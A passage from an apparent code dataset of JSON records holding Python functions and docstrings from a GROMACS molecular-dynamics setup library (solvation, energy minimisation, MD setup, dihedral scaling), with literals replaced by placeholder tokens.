"docstring": "Make index file with the special groups.\n\n    This routine adds the group __main__ and the group __environment__\n    to the end of the index file. __main__ contains what the user\n    defines as the *central* and *most important* parts of the\n    system. __environment__ is everything else.\n\n    The template mdp file, for instance, uses these two groups for T-coupling.\n\n    These groups are mainly useful if the default groups \"Protein\" and \"Non-Protein\"\n    are not appropriate. By using symbolic names such as __main__ one\n    can keep scripts more general.\n\n    :Returns:\n      *groups* is a list of dictionaries that describe the index groups. See\n      :func:`gromacs.cbook.parse_ndxlist` for details.\n\n    :Arguments:\n      *struct* : filename\n        structure (tpr, pdb, gro)\n      *selection* : string\n        is a ``make_ndx`` command such as ``\"Protein\"`` or ``r DRG`` which\n        determines what is considered the main group for centering etc. It is\n        passed directly to ``make_ndx``.\n      *ndx* : string\n         name of the final index file\n      *oldndx* : string\n         name of index file that should be used as a basis; if None\n         then the ``make_ndx`` default groups are used.\n\n    This routine is very dumb at the moment; maybe some heuristics will be\n    added later as could be other symbolic groups such as __membrane__.", "id": "f6867:m1"}
{"signature": "def get_lipid_vdwradii(outdir=os.path.curdir, libdir=None):", "body": "vdwradii_dat = os.path.join(outdir, \"<STR_LIT>\")<EOL>if libdir is not None:<EOL><INDENT>filename = os.path.join(libdir, '<STR_LIT>')  <EOL>if not os.path.exists(filename):<EOL><INDENT>msg = '<STR_LIT>'.format(**vars())<EOL>logger.exception(msg)<EOL>raise OSError(msg, errno.ENOENT)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>filename = os.path.join(os.environ['<STR_LIT>'], '<STR_LIT>')<EOL><DEDENT>except KeyError:<EOL><INDENT>try:<EOL><INDENT>filename = os.path.join(os.environ['<STR_LIT>'], '<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>except KeyError:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>logger.exception(msg)<EOL>raise OSError(msg, errno.ENOENT)<EOL><DEDENT><DEDENT><DEDENT>if not os.path.exists(filename):<EOL><INDENT>msg = \"<STR_LIT>\".format(**vars())<EOL>logger.exception(msg, errno.ENOENT)<EOL>raise OSError(msg)<EOL><DEDENT>patterns = vdw_lipid_resnames + list({x[:<NUM_LIT:3>] for x in vdw_lipid_resnames})<EOL>with open(vdwradii_dat, '<STR_LIT:w>') as outfile:<EOL><INDENT>outfile.write('<STR_LIT>')<EOL>for resname in patterns:<EOL><INDENT>for atom,radius in vdw_lipid_atom_radii.items():<EOL><INDENT>outfile.write('<STR_LIT>'.format(**vars()))<EOL><DEDENT><DEDENT>with open(filename, '<STR_LIT:r>') as infile:<EOL><INDENT>for line in infile:<EOL><INDENT>outfile.write(line)<EOL><DEDENT><DEDENT><DEDENT>logger.debug('<STR_LIT>'.format(**vars()))<EOL>return realpath(vdwradii_dat)<EOL>", "docstring": "Find vdwradii.dat and add special entries for lipids.\n\n    See :data:`gromacs.setup.vdw_lipid_resnames` for lipid\n    resnames. Add more if necessary.", "id": "f6867:m2"}
{"signature": "def solvate(struct='<STR_LIT>', top='<STR_LIT>',<EOL>distance=<NUM_LIT>, boxtype='<STR_LIT>',<EOL>concentration=<NUM_LIT:0>, cation='<STR_LIT>', anion='<STR_LIT>',<EOL>water='<STR_LIT>', solvent_name='<STR_LIT>', with_membrane=False,<EOL>ndx = '<STR_LIT>', mainselection = '<STR_LIT>',<EOL>dirname='<STR_LIT>',<EOL>**kwargs):", "body": "sol = solvate_sol(struct=struct, top=top,<EOL>distance=distance, boxtype=boxtype,<EOL>water=water, solvent_name=solvent_name, <EOL>with_membrane=with_membrane,<EOL>dirname=dirname, **kwargs)<EOL>ion = solvate_ion(struct=sol['<STR_LIT>'], top=top,<EOL>concentration=concentration, cation=cation, anion=anion,<EOL>solvent_name=solvent_name, ndx=ndx,<EOL>mainselection=mainselection, dirname=dirname,<EOL>**kwargs)<EOL>return ion<EOL>", "docstring": "Put protein into box, add water, add counter-ions.\n\n    Currently this really only supports solutes in water. If you need\n    to embedd a protein in a membrane then you will require more\n    sophisticated approaches.\n\n    However, you *can* supply a protein already inserted in a\n    bilayer. In this case you will probably want to set *distance* =\n    ``None`` and also enable *with_membrane* = ``True`` (using extra\n    big vdw radii for typical lipids).\n\n    .. Note:: The defaults are suitable for solvating a globular\n       protein in a fairly tight (increase *distance*!) dodecahedral\n       box.\n\n    :Arguments:\n      *struct* : filename\n          pdb or gro input structure\n      *top* : filename\n          Gromacs topology\n      *distance* : float\n          When solvating with water, make the box big enough so that\n          at least *distance* nm water are between the solute *struct*\n          and the box boundary.\n          Set *boxtype*  to ``None`` in order to use a box size in the input\n          file (gro or pdb).\n      *boxtype* or *bt*: string\n          Any of the box types supported by :class:`~gromacs.tools.Editconf`\n          (triclinic, cubic, dodecahedron, octahedron). Set the box dimensions\n          either with *distance* or the *box* and *angle* keywords.\n\n          If set to ``None`` it will ignore *distance* and use the box\n          inside the *struct* file.\n\n          *bt* overrides the value of *boxtype*.\n      *box*\n          List of three box lengths [A,B,C] that are used by :class:`~gromacs.tools.Editconf`\n          in combination with *boxtype* (``bt`` in :program:`editconf`) and *angles*.\n          Setting *box* overrides *distance*.\n      *angles*\n          List of three angles (only necessary for triclinic boxes).\n      *concentration* : float\n          Concentration of the free ions in mol/l. Note that counter\n          ions are added in excess of this concentration.\n      *cation* and *anion* : string\n          Molecule names of the ions. This depends on the chosen force field.\n      *water* : string\n          Name of the water model; one of \"spc\", \"spce\", \"tip3p\",\n          \"tip4p\". This should be appropriate for the chosen force\n          field. If an alternative solvent is required, simply supply the path to a box\n          with solvent molecules (used by :func:`~gromacs.genbox`'s  *cs* argument)\n          and also supply the molecule name via *solvent_name*.\n      *solvent_name*\n          Name of the molecules that make up the solvent (as set in the itp/top).\n          Typically needs to be changed when using non-standard/non-water solvents.\n          [\"SOL\"]\n      *with_membrane* : bool\n           ``True``: use special ``vdwradii.dat`` with 0.1 nm-increased radii on\n           lipids. Default is ``False``.\n      *ndx* : filename\n          How to name the index file that is produced by this function.\n      *mainselection* : string\n          A string that is fed to :class:`~gromacs.tools.Make_ndx` and\n          which should select the solute.\n      *dirname* : directory name\n          Name of the directory in which all files for the solvation stage are stored.\n      *includes*\n          List of additional directories to add to the mdp include path\n      *kwargs*\n          Additional arguments are passed on to\n          :class:`~gromacs.tools.Editconf` or are interpreted as parameters to be\n          changed in the mdp file.", "id": "f6867:m5"}
{"signature": "def check_mdpargs(d):", "body": "if len(d) > <NUM_LIT:0>:<EOL><INDENT>wmsg = \"<STR_LIT>\"+str(d)<EOL>logger.warn(wmsg)<EOL>warnings.warn(wmsg, category=UsageWarning)<EOL><DEDENT>return len(d) == <NUM_LIT:0><EOL>", "docstring": "Check if any arguments remain in dict *d*.", "id": "f6867:m6"}
{"signature": "def energy_minimize(dirname='<STR_LIT>', mdp=config.templates['<STR_LIT>'],<EOL>struct='<STR_LIT>', top='<STR_LIT>',<EOL>output='<STR_LIT>', deffnm=\"<STR_LIT>\",<EOL>mdrunner=None, mdrun_args=None,<EOL>**kwargs):", "body": "structure = realpath(struct)<EOL>topology = realpath(top)<EOL>mdp_template = config.get_template(mdp)<EOL>deffnm = deffnm.strip()<EOL>mdrun_args = {} if mdrun_args is None else mdrun_args<EOL>kwargs.setdefault('<STR_LIT>', '<STR_LIT>')<EOL>kwargs.pop('<STR_LIT>', None)<EOL>mainselection = kwargs.pop('<STR_LIT>', '<STR_LIT>')<EOL>qtot = kwargs.pop('<STR_LIT>', <NUM_LIT:0>)<EOL>mdp = deffnm+'<STR_LIT>'<EOL>tpr = deffnm+'<STR_LIT>'<EOL>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>cbook.add_mdp_includes(topology, kwargs)<EOL>if qtot != <NUM_LIT:0>:<EOL><INDENT>wmsg = \"<STR_LIT>\".format(**vars())<EOL>logger.warn(wmsg)<EOL>warnings.warn(wmsg, category=BadParameterWarning)<EOL><DEDENT>with in_dir(dirname):<EOL><INDENT>unprocessed = cbook.edit_mdp(mdp_template, new_mdp=mdp, **kwargs)<EOL>check_mdpargs(unprocessed)<EOL>gromacs.grompp(f=mdp, o=tpr, c=structure, r=structure, p=topology, **unprocessed)<EOL>mdrun_args.update(v=True, stepout=<NUM_LIT:10>, deffnm=deffnm, c=output)<EOL>if mdrunner is None:<EOL><INDENT>mdrun = run.get_double_or_single_prec_mdrun()<EOL>mdrun(**mdrun_args)<EOL><DEDENT>else:<EOL><INDENT>if type(mdrunner) is type:<EOL><INDENT>mdrun = mdrunner(**mdrun_args)<EOL>mdrun.run()<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>mdrunner.run(mdrunargs=mdrun_args)<EOL><DEDENT>except AttributeError:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>if not os.path.exists(output):<EOL><INDENT>errmsg = \"<STR_LIT>\"<EOL>logger.error(errmsg)<EOL>raise GromacsError(errmsg)<EOL><DEDENT>final_struct = realpath(output)<EOL><DEDENT>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>return {'<STR_LIT>': final_struct,<EOL>'<STR_LIT>': topology,<EOL>'<STR_LIT>': mainselection,<EOL>}<EOL>", "docstring": "Energy minimize the system.\n\n    This sets up the system (creates run input files) and also runs\n    ``mdrun_d``. Thus it can take a while.\n\n    Additional itp files should be in the same directory as the top file.\n\n    Many of the keyword arguments below already have sensible values.\n\n    :Keywords:\n       *dirname*\n          set up under directory dirname [em]\n       *struct*\n          input structure (gro, pdb, ...) [solvate/ionized.gro]\n       *output*\n          output structure (will be put under dirname) [em.pdb]\n       *deffnm*\n          default name for mdrun-related files [em]\n       *top*\n          topology file [top/system.top]\n       *mdp*\n          mdp file (or use the template) [templates/em.mdp]\n       *includes*\n          additional directories to search for itp files\n       *mdrunner*\n          :class:`gromacs.run.MDrunner` instance; by default we\n          just try :func:`gromacs.mdrun_d` and :func:`gromacs.mdrun` but a\n          MDrunner instance gives the user the ability to run mpi jobs\n          etc. [None]\n       *mdrun_args*\n          arguments for *mdrunner* (as a dict), e.g. ``{'nt': 2}``;\n          empty by default\n\n          .. versionaddedd:: 0.7.0\n\n       *kwargs*\n          remaining key/value pairs that should be changed in the\n          template mdp file, eg ``nstxtcout=250, nstfout=250``.\n\n    .. note:: If :func:`~gromacs.mdrun_d` is not found, the function\n              falls back to :func:`~gromacs.mdrun` instead.", "id": "f6867:m7"}
{"signature": "def em_schedule(**kwargs):", "body": "mdrunner = kwargs.pop('<STR_LIT>', None)<EOL>integrators = kwargs.pop('<STR_LIT>', ['<STR_LIT>', '<STR_LIT>'])<EOL>kwargs.pop('<STR_LIT>', None)  <EOL>nsteps = kwargs.pop('<STR_LIT>', [<NUM_LIT:100>, <NUM_LIT:1000>])<EOL>outputs = ['<STR_LIT>'.format(i, integrator) for i,integrator in enumerate(integrators)]<EOL>outputs[-<NUM_LIT:1>] = kwargs.pop('<STR_LIT>', '<STR_LIT>')<EOL>files = {'<STR_LIT>': kwargs.pop('<STR_LIT>', None)}  <EOL>for i, integrator in enumerate(integrators):<EOL><INDENT>struct = files['<STR_LIT>']<EOL>logger.info(\"<STR_LIT>\", i, integrator, nsteps[i])<EOL>kwargs.update({'<STR_LIT>':struct, '<STR_LIT>':outputs[i],<EOL>'<STR_LIT>':integrator, '<STR_LIT>': nsteps[i]})<EOL>if not integrator == '<STR_LIT>':<EOL><INDENT>kwargs['<STR_LIT>'] = mdrunner<EOL><DEDENT>else:<EOL><INDENT>kwargs['<STR_LIT>'] = None<EOL>logger.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", i)<EOL><DEDENT>files = energy_minimize(**kwargs)<EOL><DEDENT>return files<EOL>", "docstring": "Run multiple energy minimizations one after each other.\n\n    :Keywords:\n      *integrators*\n           list of integrators (from 'l-bfgs', 'cg', 'steep')\n           [['bfgs', 'steep']]\n      *nsteps*\n           list of maximum number of steps; one for each integrator in\n           in the *integrators* list [[100,1000]]\n      *kwargs*\n           mostly passed to :func:`gromacs.setup.energy_minimize`\n\n    :Returns: dictionary with paths to final structure ('struct') and\n              other files\n\n    :Example:\n       Conduct three minimizations:\n         1. low memory Broyden-Goldfarb-Fletcher-Shannon (BFGS) for 30 steps\n         2. steepest descent for 200 steps\n         3. finish with BFGS for another 30 steps\n       We also do a multi-processor minimization when possible (i.e. for steep\n       (and conjugate gradient) by using a :class:`gromacs.run.MDrunner` class\n       for a :program:`mdrun` executable compiled for OpenMP in 64 bit (see\n       :mod:`gromacs.run` for details)::\n\n          import gromacs.run\n          gromacs.setup.em_schedule(struct='solvate/ionized.gro',\n                    mdrunner=gromacs.run.MDrunnerOpenMP64,\n                    integrators=['l-bfgs', 'steep', 'l-bfgs'],\n                    nsteps=[50,200, 50])\n\n    .. Note:: You might have to prepare the mdp file carefully because at the\n              moment one can only modify the *nsteps* parameter on a\n              per-minimizer basis.", "id": "f6867:m8"}
{"signature": "def _setup_MD(dirname,<EOL>deffnm='<STR_LIT>', mdp=config.templates['<STR_LIT>'],<EOL>struct=None,<EOL>top='<STR_LIT>', ndx=None,<EOL>mainselection='<STR_LIT>',<EOL>qscript=config.qscript_template, qname=None, startdir=None, mdrun_opts=\"<STR_LIT>\", budget=None, walltime=<NUM_LIT:1>/<NUM_LIT>,<EOL>dt=<NUM_LIT>, runtime=<NUM_LIT>, **mdp_kwargs):", "body": "if struct is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>structure = realpath(struct)<EOL>topology = realpath(top)<EOL>try:<EOL><INDENT>index = realpath(ndx)<EOL><DEDENT>except AttributeError:  <EOL><INDENT>index = None        <EOL><DEDENT>qname = mdp_kwargs.pop('<STR_LIT>', qname)    <EOL>qscript = mdp_kwargs.pop('<STR_LIT>', qscript)    <EOL>qscript_template = config.get_template(qscript)<EOL>mdp_template = config.get_template(mdp)<EOL>nsteps = int(float(runtime)/float(dt))<EOL>mdp = deffnm + '<STR_LIT>'<EOL>tpr = deffnm + '<STR_LIT>'<EOL>mainindex = deffnm + '<STR_LIT>'<EOL>final_structure = deffnm + '<STR_LIT>'   <EOL>mdp_parameters = {'<STR_LIT>':nsteps, '<STR_LIT>':dt, '<STR_LIT>': '<STR_LIT>'}<EOL>mdp_parameters.update(mdp_kwargs)<EOL>cbook.add_mdp_includes(topology, mdp_parameters)<EOL>logger.info(\"<STR_LIT>\", vars())<EOL>with in_dir(dirname):<EOL><INDENT>if not (mdp_parameters.get('<STR_LIT>','<STR_LIT>').lower() == '<STR_LIT>' or mainselection is None):<EOL><INDENT>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>groups = make_main_index(structure, selection=mainselection,<EOL>oldndx=index, ndx=mainindex)<EOL>natoms = {g['<STR_LIT:name>']: float(g['<STR_LIT>']) for g in groups}<EOL>tc_group_names = ('<STR_LIT:__main__>', '<STR_LIT>')   <EOL>try:<EOL><INDENT>x = natoms['<STR_LIT:__main__>']/natoms['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>x = <NUM_LIT:0>   <EOL>wmsg = \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"<EOL>logger.warn(wmsg)<EOL>warnings.warn(wmsg, category=AutoCorrectionWarning)<EOL><DEDENT>if x < <NUM_LIT:0.1>:<EOL><INDENT>tau_t = firstof(mdp_parameters.pop('<STR_LIT>', <NUM_LIT:0.1>))<EOL>ref_t = firstof(mdp_parameters.pop('<STR_LIT>', <NUM_LIT>))<EOL>mdp_parameters['<STR_LIT>'] = '<STR_LIT>'<EOL>mdp_parameters['<STR_LIT>'] = tau_t   <EOL>mdp_parameters['<STR_LIT>'] = ref_t   <EOL>mdp_parameters['<STR_LIT>'] = mdp_parameters.pop('<STR_LIT>', ref_t)<EOL>wmsg = \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"% (x * <NUM_LIT:100>, ref_t, tau_t)<EOL>logger.warn(wmsg)<EOL>warnings.warn(wmsg, category=AutoCorrectionWarning)<EOL><DEDENT>else:<EOL><INDENT>n_tc_groups = len(tc_group_names)<EOL>tau_t = asiterable(mdp_parameters.pop('<STR_LIT>', <NUM_LIT:0.1>))<EOL>ref_t = asiterable(mdp_parameters.pop('<STR_LIT>', <NUM_LIT>))<EOL>if len(tau_t) != n_tc_groups:<EOL><INDENT>tau_t = n_tc_groups * [tau_t[<NUM_LIT:0>]]<EOL>wmsg = \"<STR_LIT>\"\"<STR_LIT>\" % (n_tc_groups, tau_t[<NUM_LIT:0>])<EOL>logger.warn(wmsg)<EOL>warnings.warn(wmsg, category=AutoCorrectionWarning)<EOL><DEDENT>if len(ref_t) != n_tc_groups:<EOL><INDENT>ref_t = n_tc_groups * [ref_t[<NUM_LIT:0>]]<EOL>wmsg = \"<STR_LIT>\"\"<STR_LIT>\" % (n_tc_groups, ref_t[<NUM_LIT:0>])<EOL>logger.warn(wmsg)<EOL>warnings.warn(wmsg, category=AutoCorrectionWarning)<EOL><DEDENT>mdp_parameters['<STR_LIT>'] = tc_group_names<EOL>mdp_parameters['<STR_LIT>'] = tau_t<EOL>mdp_parameters['<STR_LIT>'] = ref_t<EOL>mdp_parameters['<STR_LIT>'] = mdp_parameters.pop('<STR_LIT>', ref_t[<NUM_LIT:0>])<EOL><DEDENT>index = realpath(mainindex)<EOL><DEDENT>if mdp_parameters.get('<STR_LIT>','<STR_LIT>').lower() == '<STR_LIT>':<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>mdp_parameters['<STR_LIT>'] = \"<STR_LIT>\"<EOL>mdp_parameters['<STR_LIT>'] = \"<STR_LIT>\"<EOL>mdp_parameters['<STR_LIT>'] = \"<STR_LIT>\"<EOL>mdp_parameters['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>if mdp_parameters.get('<STR_LIT>','<STR_LIT>').lower() == '<STR_LIT>':<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>mdp_parameters['<STR_LIT>'] = \"<STR_LIT>\"<EOL>mdp_parameters['<STR_LIT>'] = \"<STR_LIT>\"<EOL>mdp_parameters['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>unprocessed = cbook.edit_mdp(mdp_template, new_mdp=mdp, **mdp_parameters)<EOL>check_mdpargs(unprocessed)<EOL>gromacs.grompp(f=mdp, p=topology, c=structure, n=index, o=tpr, **unprocessed)<EOL>runscripts = qsub.generate_submit_scripts(<EOL>qscript_template, deffnm=deffnm, jobname=qname, budget=budget,<EOL>startdir=startdir, mdrun_opts=mdrun_opts, walltime=walltime)<EOL><DEDENT>logger.info(\"<STR_LIT>\", vars())<EOL>logger.info(\"<STR_LIT>\", vars())<EOL>logger.info(\"<STR_LIT>\", vars())<EOL>logger.info(\"<STR_LIT>\", vars())<EOL>logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % vars())<EOL>kwargs = {'<STR_LIT>': realpath(os.path.join(dirname, final_structure)),      <EOL>'<STR_LIT>': topology,<EOL>'<STR_LIT>': index,            <EOL>'<STR_LIT>': runscripts,<EOL>'<STR_LIT>': mainselection,<EOL>'<STR_LIT>': deffnm,        <EOL>}<EOL>kwargs.update(mdp_kwargs)  <EOL>return kwargs<EOL>", "docstring": "Generic function to set up a ``mdrun`` MD simulation.\n\n    See the user functions for usage.", "id": "f6867:m9"}
{"signature": "def MD_restrained(dirname='<STR_LIT>', **kwargs):", "body": "logger.info(\"<STR_LIT>\".format(**vars()))<EOL>kwargs.setdefault('<STR_LIT>', '<STR_LIT>')<EOL>kwargs.setdefault('<STR_LIT>', '<STR_LIT>')<EOL>kwargs.setdefault('<STR_LIT>', '<STR_LIT>')<EOL>kwargs.setdefault('<STR_LIT>', '<STR_LIT>')   <EOL>kwargs.setdefault('<STR_LIT>', '<STR_LIT>')   <EOL>kwargs.setdefault('<STR_LIT>', '<STR_LIT:0>')       <EOL>kwargs.setdefault('<STR_LIT>', '<STR_LIT>')      <EOL>kwargs.setdefault('<STR_LIT>', '<STR_LIT>')  <EOL>kwargs.setdefault('<STR_LIT>', '<STR_LIT>')  <EOL>kwargs.setdefault('<STR_LIT>', '<STR_LIT>')<EOL>kwargs.setdefault('<STR_LIT>', \"<STR_LIT>\")<EOL>new_kwargs =  _setup_MD(dirname, **kwargs)<EOL>new_kwargs.pop('<STR_LIT>', None)          <EOL>new_kwargs.pop('<STR_LIT>', None)<EOL>new_kwargs.pop('<STR_LIT>', None)<EOL>return new_kwargs<EOL>", "docstring": "Set up MD with position restraints.\n\n    Additional itp files should be in the same directory as the top file.\n\n    Many of the keyword arguments below already have sensible values. Note that\n    setting *mainselection* = ``None`` will disable many of the automated\n    choices and is often recommended when using your own mdp file.\n\n    :Keywords:\n       *dirname*\n          set up under directory dirname [MD_POSRES]\n       *struct*\n          input structure (gro, pdb, ...) [em/em.pdb]\n       *top*\n          topology file [top/system.top]\n       *mdp*\n          mdp file (or use the template) [templates/md.mdp]\n       *ndx*\n          index file (supply when using a custom mdp)\n       *includes*\n          additional directories to search for itp files\n       *mainselection*\n          :program:`make_ndx` selection to select main group [\"Protein\"]\n          (If ``None`` then no canonical index file is generated and\n          it is the user's responsibility to set *tc_grps*,\n          *tau_t*, and *ref_t* as keyword arguments, or provide the mdp template\n          with all parameter pre-set in *mdp* and probably also your own *ndx*\n          index file.)\n       *deffnm*\n          default filename for Gromacs run [md]\n       *runtime*\n          total length of the simulation in ps [1000]\n       *dt*\n          integration time step in ps [0.002]\n       *qscript*\n          script to submit to the queuing system; by default\n          uses the template :data:`gromacs.config.qscript_template`, which can\n          be manually set to another template from :data:`gromacs.config.templates`;\n          can also be a list of template names.\n       *qname*\n          name to be used for the job in the queuing system [PR_GMX]\n       *mdrun_opts*\n          option flags for the :program:`mdrun` command in the queuing system\n          scripts such as \"-stepout 100\". [\"\"]\n       *kwargs*\n          remaining key/value pairs that should be changed in the template mdp\n          file, eg ``nstxtcout=250, nstfout=250`` or command line options for\n          ``grompp` such as ``maxwarn=1``.\n\n          In particular one can also set **define** and activate\n          whichever position restraints have been coded into the itp\n          and top file. For instance one could have\n\n             *define* = \"-DPOSRES_MainChain -DPOSRES_LIGAND\"\n\n          if these preprocessor constructs exist. Note that there\n          **must not be any space between \"-D\" and the value.**\n\n          By default *define* is set to \"-DPOSRES\".\n\n    :Returns: a dict that can be fed into :func:`gromacs.setup.MD`\n              (but check, just in case, especially if you want to\n              change the ``define`` parameter in the mdp file)\n\n    .. Note:: The output frequency is drastically reduced for position\n              restraint runs by default. Set the corresponding ``nst*``\n              variables if you require more output. The `pressure coupling`_\n              option *refcoord_scaling* is set to \"com\" by default (but can\n              be changed via *kwargs*) and the pressure coupling\n              algorithm itself is set to *Pcoupl* = \"Berendsen\" to\n              run a stable simulation.\n\n    .. _`pressure coupling`: http://manual.gromacs.org/online/mdp_opt.html#pc", "id": "f6867:m10"}
{"signature": "def MD(dirname='<STR_LIT>', **kwargs):", "body": "logger.info(\"<STR_LIT>\".format(**vars()))<EOL>kwargs.setdefault('<STR_LIT>', '<STR_LIT>')<EOL>kwargs.setdefault('<STR_LIT>', '<STR_LIT>')<EOL>return _setup_MD(dirname, **kwargs)<EOL>", "docstring": "Set up equilibrium MD.\n\n    Additional itp files should be in the same directory as the top file.\n\n    Many of the keyword arguments below already have sensible values. Note that\n    setting *mainselection* = ``None`` will disable many of the automated\n    choices and is often recommended when using your own mdp file.\n\n    :Keywords:\n       *dirname*\n          set up under directory dirname [MD]\n       *struct*\n          input structure (gro, pdb, ...) [MD_POSRES/md_posres.pdb]\n       *top*\n          topology file [top/system.top]\n       *mdp*\n          mdp file (or use the template) [templates/md.mdp]\n       *ndx*\n          index file (supply when using a custom mdp)\n       *includes*\n          additional directories to search for itp files\n       *mainselection*\n          ``make_ndx`` selection to select main group [\"Protein\"]\n          (If ``None`` then no canonical index file is generated and\n          it is the user's responsibility to set *tc_grps*,\n          *tau_t*, and *ref_t* as keyword arguments, or provide the mdp template\n          with all parameter pre-set in *mdp* and probably also your own *ndx*\n          index file.)\n       *deffnm*\n          default filename for Gromacs run [md]\n       *runtime*\n          total length of the simulation in ps [1000]\n       *dt*\n          integration time step in ps [0.002]\n       *qscript*\n          script to submit to the queuing system; by default\n          uses the template :data:`gromacs.config.qscript_template`, which can\n          be manually set to another template from :data:`gromacs.config.templates`;\n          can also be a list of template names.\n       *qname*\n          name to be used for the job in the queuing system [MD_GMX]\n       *mdrun_opts*\n          option flags for the :program:`mdrun` command in the queuing system\n          scripts such as \"-stepout 100 -dgdl\". [\"\"]\n       *kwargs*\n          remaining key/value pairs that should be changed in the template mdp\n          file, e.g. ``nstxtcout=250, nstfout=250`` or command line options for\n          :program`grompp` such as ``maxwarn=1``.\n\n    :Returns: a dict that can be fed into :func:`gromacs.setup.MD`\n              (but check, just in case, especially if you want to\n              change the *define* parameter in the mdp file)", "id": "f6867:m11"}
{"signature": "def scale_dihedrals(mol, dihedrals, scale, banned_lines=None):", "body": "if banned_lines is None:<EOL><INDENT>banned_lines = []<EOL><DEDENT>new_dihedrals = []<EOL>for dh in mol.dihedrals:<EOL><INDENT>atypes = dh.atom1.get_atomtype(), dh.atom2.get_atomtype(), dh.atom3.get_atomtype(), dh.atom4.get_atomtype()<EOL>atypes = [a.replace(\"<STR_LIT:_>\", \"<STR_LIT>\").replace(\"<STR_LIT:=>\",\"<STR_LIT>\") for a in atypes]<EOL>if dh.gromacs['<STR_LIT>'] != []:<EOL><INDENT>for p in dh.gromacs['<STR_LIT>']:<EOL><INDENT>p['<STR_LIT>'] *= scale<EOL><DEDENT>new_dihedrals.append(dh)<EOL>continue<EOL><DEDENT>for iswitch in range(<NUM_LIT:32>):<EOL><INDENT>if  (iswitch%<NUM_LIT:2>==<NUM_LIT:0> ):<EOL><INDENT>a1=atypes[<NUM_LIT:0>]; a2=atypes[<NUM_LIT:1>]; a3=atypes[<NUM_LIT:2>]; a4=atypes[<NUM_LIT:3>]<EOL><DEDENT>else:<EOL><INDENT>a1=atypes[<NUM_LIT:3>]; a2=atypes[<NUM_LIT:2>]; a3=atypes[<NUM_LIT:1>]; a4=atypes[<NUM_LIT:0>]<EOL><DEDENT>if((iswitch//<NUM_LIT:2>)%<NUM_LIT:2>==<NUM_LIT:1>): a1=\"<STR_LIT:X>\";<EOL>if((iswitch//<NUM_LIT:4>)%<NUM_LIT:2>==<NUM_LIT:1>): a2=\"<STR_LIT:X>\";<EOL>if((iswitch//<NUM_LIT:8>)%<NUM_LIT:2>==<NUM_LIT:1>): a3=\"<STR_LIT:X>\";<EOL>if((iswitch//<NUM_LIT:16>)%<NUM_LIT:2>==<NUM_LIT:1>): a4=\"<STR_LIT:X>\";<EOL>key = \"<STR_LIT>\".format(a1, a2, a3, a4, dh.gromacs['<STR_LIT>'])<EOL>if (key in dihedrals):<EOL><INDENT>for i, dt in enumerate(dihedrals[key]):<EOL><INDENT>dhA = copy.deepcopy(dh)<EOL>param = copy.deepcopy(dt.gromacs['<STR_LIT>'])<EOL>if not dihedrals[key][<NUM_LIT:0>].line in banned_lines:<EOL><INDENT>for p in param: p['<STR_LIT>'] *= scale<EOL><DEDENT>dhA.gromacs['<STR_LIT>'] = param<EOL>if i == <NUM_LIT:0>:<EOL><INDENT>dhA.comment = \"<STR_LIT>\".format(\"<STR_LIT:U+0020>\".join(<EOL>map(str, banned_lines)), <NUM_LIT:1> if dt.line in banned_lines else <NUM_LIT:0>)<EOL>dhA.comment += \"<STR_LIT>\".format(<EOL>dhA.atom1.atomtype, dhA.atom2.atomtype, dhA.atom3.atomtype,<EOL>dhA.atom4.atomtype, dt.line).replace(\"<STR_LIT:_>\",\"<STR_LIT>\")<EOL><DEDENT>name = \"<STR_LIT>\".format(dhA.atom1.atomtype, dhA.atom2.atomtype,<EOL>dhA.atom3.atomtype, dhA.atom4.atomtype).replace(\"<STR_LIT:_>\",\"<STR_LIT>\")<EOL>new_dihedrals.append(dhA)<EOL><DEDENT>break<EOL><DEDENT><DEDENT><DEDENT>mol.dihedrals = new_dihedrals<EOL>return mol<EOL>", "docstring": "Scale dihedral angles", "id": "f6868:m0"}
{"signature": "def scale_impropers(mol, impropers, scale, banned_lines=None):", "body": "if banned_lines is None:<EOL><INDENT>banned_lines = []<EOL><DEDENT>new_impropers = []<EOL>for im in mol.impropers:<EOL><INDENT>atypes = (im.atom1.get_atomtype(), im.atom2.get_atomtype(),<EOL>im.atom3.get_atomtype(), im.atom4.get_atomtype())<EOL>atypes = [a.replace(\"<STR_LIT:_>\", \"<STR_LIT>\").replace(\"<STR_LIT:=>\", \"<STR_LIT>\") for a in atypes]<EOL>if im.gromacs['<STR_LIT>'] != []:<EOL><INDENT>for p in im.gromacs['<STR_LIT>']:<EOL><INDENT>p['<STR_LIT>'] *= scale<EOL><DEDENT>new_impropers.append(im)<EOL>continue<EOL><DEDENT>for iswitch in range(<NUM_LIT:32>):<EOL><INDENT>if  (iswitch%<NUM_LIT:2>==<NUM_LIT:0>):<EOL><INDENT>a1=atypes[<NUM_LIT:0>]; a2=atypes[<NUM_LIT:1>]; a3=atypes[<NUM_LIT:2>]; a4=atypes[<NUM_LIT:3>];<EOL><DEDENT>else:<EOL><INDENT>a1=atypes[<NUM_LIT:3>]; a2=atypes[<NUM_LIT:2>]; a3=atypes[<NUM_LIT:1>]; a4=atypes[<NUM_LIT:0>];<EOL><DEDENT>if((iswitch//<NUM_LIT:2>)%<NUM_LIT:2>==<NUM_LIT:1>): a1=\"<STR_LIT:X>\";<EOL>if((iswitch//<NUM_LIT:4>)%<NUM_LIT:2>==<NUM_LIT:1>): a2=\"<STR_LIT:X>\";<EOL>if((iswitch//<NUM_LIT:8>)%<NUM_LIT:2>==<NUM_LIT:1>): 